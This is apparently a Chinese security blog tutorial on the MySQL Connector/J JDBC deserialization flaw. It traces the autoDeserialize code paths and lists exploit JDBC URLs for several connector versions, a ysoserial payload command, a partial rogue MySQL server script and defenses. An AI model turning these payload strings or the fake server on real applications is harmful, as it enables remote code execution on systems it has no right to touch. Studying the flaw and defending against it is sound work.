Java安全 - Mysql-JDBC反序列化
字数 1352 2025-08-19 12:42:36

MySQL-JDBC反序列化漏洞分析与利用

漏洞概述

MySQL-JDBC反序列化漏洞是指当攻击者能够控制JDBC连接设置项时,可以通过设置指向恶意MySQL服务器进行ObjectInputStream.readObject()的反序列化攻击从而实现远程代码执行(RCE)。

漏洞前提条件

  1. JDBC连接参数可控且目标机器能够出网
  2. 存在可利用的反序列化漏洞链

漏洞原理

MySQL JDBC客户端在连接服务端时,如果字段类型为BLOB或BIT且autoDeserialize设置为true,会对数据进行反序列化操作。攻击者可以通过控制连接参数,使客户端连接恶意MySQL服务器,返回精心构造的序列化数据触发反序列化漏洞。

漏洞分析

两条主要触发链

  1. SHOW SESSION STATUS
  2. SHOW COLLATION

关键参数说明

  • BLOB: 二进制形式的长文本数据
  • BIT: Bit数据类型
  • queryInterceptors: 逗号分隔的Class列表(实现com.mysql.cj.interceptors.QueryInterceptor接口),在Query执行前后进行拦截操作
  • autoDeserialize: 自动检测与反序列化BLOB字段中的对象

ServerStatusDiffInterceptor触发链分析

依赖版本

  • mysql-connector-java 8.0.13

漏洞触发点

  1. 反序列化入口在com.mysql.cj.jdbc.result.ResultSetImpl.getObject()
  2. 当字段类型为BIT或BLOB且autoDeserialize=true时,会检查数据是否为Java序列化对象
  3. 如果是序列化对象,则调用readObject()进行反序列化

调用链

ServerStatusDiffInterceptor.preProcess()
→ populateMapWithSessionStatusValues()
→ resultSetToMap()
→ getObject()
→ readObject()

关键代码分析

public Object getObject(int columnIndex) throws SQLException {
    // 检查字段类型
    switch (field.getMysqlType()) {
        case BIT:
        case BLOB:
            if ((Boolean)this.connection.getPropertySet().getBooleanProperty(PropertyKey.autoDeserialize).getValue()) {
                // 检查是否为Java序列化对象(魔数0xaced)
                if (data[0] != -84 || data[1] != -19) {
                    return this.getString(columnIndex);
                }
                // 反序列化
                ByteArrayInputStream bytesIn = new ByteArrayInputStream(data);
                ObjectInputStream objIn = new ObjectInputStream(bytesIn);
                obj = objIn.readObject();
            }
    }
}

detectCustomCollations触发链分析

依赖版本

  • mysql-connector-java 5.1.29

触发条件

  • 服务器版本≥4.1.0
  • detectCustomCollations=true

调用链

ConnectionImpl.buildCollationMapping()
→ 执行SHOW COLLATION
→ resultSetToMap()
→ getObject()
→ readObject()

漏洞利用Payload

ServerStatusDiffInterceptor链

  1. MySQL 8.x:

    jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc
    
  2. MySQL 6.x(属性名不同):

    jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc
    
  3. MySQL 5.1.11及以上:

    jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc
    

detectCustomCollations链

  1. MySQL 5.1.29-5.1.40:

    jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true&user=yso_JRE8u20_calc
    
  2. MySQL 5.1.28-5.1.19:

    jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&user=yso_JRE8u20_calc
    

漏洞复现

准备工作

  1. 使用MySQL_Fake_Server搭建恶意MySQL服务器
  2. 生成ysoserial payload:
    java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections7 calc > payload
    

恶意MySQL服务器代码示例

# coding=utf-8
import socket
import binascii
import os

greeting_data="4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400"
response_ok_data="0700000200000002000000"

def get_payload_content():
    file= r'payload'
    if os.path.isfile(file):
        with open(file, 'rb') as f:
            return str(binascii.b2a_hex(f.read()),encoding='utf-8')

def run():
    sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sk.bind(('0.0.0.0', 3307))
    sk.listen(1)

    while 1:
        conn, addr = sk.accept()
        # 发送问候报文
        send_data(conn,greeting_data)
        
        while True:
            # 处理认证过程
            receive_data(conn)
            send_data(conn,response_ok_data)
            
            data=receive_data(conn)
            if "show session status" in data:
                # 构造包含payload的响应
                payload_content=get_payload_content()
                # ... [构造响应数据包] ...
                send_data(conn, mysql_data)
            break

客户端测试代码

import java.sql.*;

public class Test {
    public static void main(String[] args) throws Exception {
        Class.forName("com.mysql.jdbc.Driver");
        String jdbc_url = "jdbc:mysql://127.0.0.1:3307/test?" +
                "autoDeserialize=true" +
                "&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor";
        Connection con = DriverManager.getConnection(jdbc_url, "root", "root");
    }
}

防御措施

  1. 升级MySQL Connector/J到最新版本
  2. 禁止用户控制JDBC连接参数
  3. 设置autoDeserialize=false
  4. 使用白名单限制允许连接的MySQL服务器

参考链接

  1. https://xz.aliyun.com/t/8159
  2. https://www.mi1k7ea.com/2021/04/23/MySQL-JDBC反序列化漏洞/
  3. https://www.anquanke.com/post/id/203086
MySQL-JDBC反序列化漏洞分析与利用 漏洞概述 MySQL-JDBC反序列化漏洞是指当攻击者能够控制JDBC连接设置项时,可以通过设置指向恶意MySQL服务器进行 ObjectInputStream.readObject() 的反序列化攻击从而实现远程代码执行(RCE)。 漏洞前提条件 JDBC连接参数可控且目标机器能够出网 存在可利用的反序列化漏洞链 漏洞原理 MySQL JDBC客户端在连接服务端时,如果字段类型为BLOB或BIT且 autoDeserialize 设置为true,会对数据进行反序列化操作。攻击者可以通过控制连接参数,使客户端连接恶意MySQL服务器,返回精心构造的序列化数据触发反序列化漏洞。 漏洞分析 两条主要触发链 SHOW SESSION STATUS 链 SHOW COLLATION 链 关键参数说明 BLOB : 二进制形式的长文本数据 BIT : Bit数据类型 queryInterceptors : 逗号分隔的Class列表(实现 com.mysql.cj.interceptors.QueryInterceptor 接口),在Query执行前后进行拦截操作 autoDeserialize : 自动检测与反序列化BLOB字段中的对象 ServerStatusDiffInterceptor触发链分析 依赖版本 mysql-connector-java 8.0.13 漏洞触发点 反序列化入口在 com.mysql.cj.jdbc.result.ResultSetImpl.getObject() 当字段类型为BIT或BLOB且 autoDeserialize=true 时,会检查数据是否为Java序列化对象 如果是序列化对象,则调用 readObject() 进行反序列化 调用链 关键代码分析 detectCustomCollations触发链分析 依赖版本 mysql-connector-java 5.1.29 触发条件 服务器版本≥4.1.0 detectCustomCollations=true 调用链 漏洞利用Payload ServerStatusDiffInterceptor链 MySQL 8.x : MySQL 6.x (属性名不同): MySQL 5.1.11及以上 : detectCustomCollations链 MySQL 5.1.29-5.1.40 : MySQL 5.1.28-5.1.19 : 漏洞复现 准备工作 使用 MySQL_ Fake_ Server 搭建恶意MySQL服务器 生成ysoserial payload: 恶意MySQL服务器代码示例 客户端测试代码 防御措施 升级MySQL Connector/J到最新版本 禁止用户控制JDBC连接参数 设置 autoDeserialize=false 使用白名单限制允许连接的MySQL服务器 参考链接 https://xz.aliyun.com/t/8159 https://www.mi1k7ea.com/2021/04/23/MySQL-JDBC反序列化漏洞/ https://www.anquanke.com/post/id/203086